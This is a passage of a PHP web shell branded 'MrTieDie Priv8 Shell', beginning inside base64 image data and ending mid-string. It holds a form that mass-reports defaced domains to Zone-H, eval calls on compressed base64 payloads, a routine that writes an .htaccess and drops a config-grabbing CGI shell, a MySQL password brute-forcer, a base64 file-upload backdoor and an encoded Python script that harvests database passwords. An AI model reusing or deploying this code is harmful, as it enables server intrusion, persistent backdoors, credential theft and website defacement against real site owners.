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%3D" style="width: 261px; height: 67px;" /></p>
<center><span style="font-size:1.6em;"> .: Notifier :. </span></center><center><form action="" method="post"><input class="inputz" type="text" name="defacer" size="67" value="MrTieDie" /><br> <select class="inputz" name="hackmode">
<option>------------------------------------SELECT-------------------------------------</option>
<option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option> 
<option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option> 
<option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option> 
<option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option> 
<option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option> 
<option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option> 
<option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option> 
<option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option> 
<option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option> 
<option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option> 
<option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option> 
<option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option> 
<option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option> 
<option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option> 
<option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option> 
<option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option> 
<option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option> 
<option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option> 
<option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option> 

<option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option> 
<option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option> 
option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
</select> <br>

<select class="inputz" name="reason">
<option >------------------------------------SELECT-------------------------------------</option> 
<option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option> 
<option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option> 
<option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option> 
<option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option> 
<option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option> 
<option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option> 
<option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option> 
option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option> 
</select> <br>
<textarea class="inputz" name="domain" cols="90" rows="20">List Of Domains, 20 Rows.</textarea><br>
<input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/> 
</form>'; ?> 
<?php 
    echo "</form></center>";?> 
<?php 
function ZoneH($url, $hacker, $hackmode,$reson, $site ) 
{ 
    $k = curl_init(); 
    curl_setopt($k, CURLOPT_URL, $url); 
    curl_setopt($k,CURLOPT_POST,true); 
    curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson); 
    curl_setopt($k,CURLOPT_FOLLOWLOCATION, true); 
    curl_setopt($k, CURLOPT_RETURNTRANSFER, true); 
    $kubra = curl_exec($k); 
    curl_close($k); 
    return $kubra; 
} 
{ 
                ob_start(); 
                $sub = @get_loaded_extensions(); 
                if(!in_array("curl", $sub)) 
                { 
                    die('<center><b>[-] Curl Is Not Supported !![-]</b></center>'); 
                } 
             
                $hacker = $_POST['defacer']; 
                $method = $_POST['hackmode']; 
                $neden = $_POST['reason']; 
                $site = $_POST['domain']; 
                 
                if (empty($hacker)) 
                { 
                    die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>"); 
                } 
                elseif($method == "--------SELECT--------")  
                { 
                    die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>"); 
                } 
                elseif($neden == "--------SELECT--------")  
                { 
                    die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>"); 
                } 
                elseif(empty($site))  
                { 
                    die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>"); 
                } 
                $i = 0; 
                $sites = explode("
", $site); 
                while($i < count($sites))  
                { 
                    if(substr($sites[$i], 0, 4) != "http")  
                    { 
                        $sites[$i] = "http://".$sites[$i]; 
                    } 
                    ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]); 
                    echo "Domain : ".$sites[$i]." Defaced Last Years !"; 
                    ++$i; 
                } 
                echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]"; 
            } 
?>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone')){ eval(gzinflate(base64_decode($mrtiedie))); "</div>"; } 
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == ''))
{ 
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){$text = $_POST['code'];?><center><br><br><div class="mybox"><h2 class="k2ll33d2">String encoder</h2><form method="post"><br><textarea class='inputz' cols=80 rows=5 name="code">MrTieDie</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php $op = $_POST["ope"];switch ($op) {case 'base64': $codi=base64_encode($text);break;case 'md5' : $codi=md5($text);break;case 'whash' : $codi=crypt($text);break;case 'SHA1' : $codi=sha1($text);break;case 'urlencode' : $codi=urlencode($text);break;case 'md4' : $codi=hash("md4",$text);break;case 'SHA256' : $codi=hash("sha256",$text);break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></div></center>';?>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ eval(gzinflate(base64_decode($jumper))); "</div>"; } 
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{ 
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=config" method="post">
<?php
echo "<center/><br/><b><font color=#4C83AF>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
 
  mkdir('config', 0755);
    chdir('config');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
 
AddType application/x-httpd-cgi .cpc
 
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
 
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
    chmod("config.izo",0755);
   echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
   </div>";
?>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{      
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=logout" method="post">
 
<?php
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    echo "<h1><big>Good Bye !! Thanks For Using MrTieDie Priv8 Shell</big></h1><br><META HTTP-EQUIV=refresh CONTENT=2;URL=?>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
                        {      
                        ?>
                                <form action="?y=<?php echo $pwd; ?>&amp;x=brute" method="post">
                        <?php
                        //bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
@set_time_limit(0);
@error_reporting(0);
 
 
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
    if($_POST['type'] == 'passwd'){
        $e = explode("
",$_POST['usernames']);
        foreach($e as $value){
        $k = explode(":",$value);
        $username .= $k['0']." ";
        }
    }elseif($_POST['type'] == 'simple'){
        $username = str_replace("
",' ',$_POST['usernames']);
    }
    $a1 = explode(" ",$username);
    $a2 = explode("
",$_POST['passwords']);
    $id2 = count($a2);
    $ok = 0;
    foreach($a1 as $user )
    {
        if($user !== '')
        {
        $user=trim($user);
         for($i=0;$i<=$id2;$i++)
         {
            $pass = trim($a2[$i]);
            if(@mysql_connect('localhost',$user,$pass))
            {
                echo "MrTieDie~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
                $ok++;
            }
         }
        }
    }
    echo "<hr><b>You Found <font color=green>$ok</font> Cpanel</b>";
    echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
    exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6I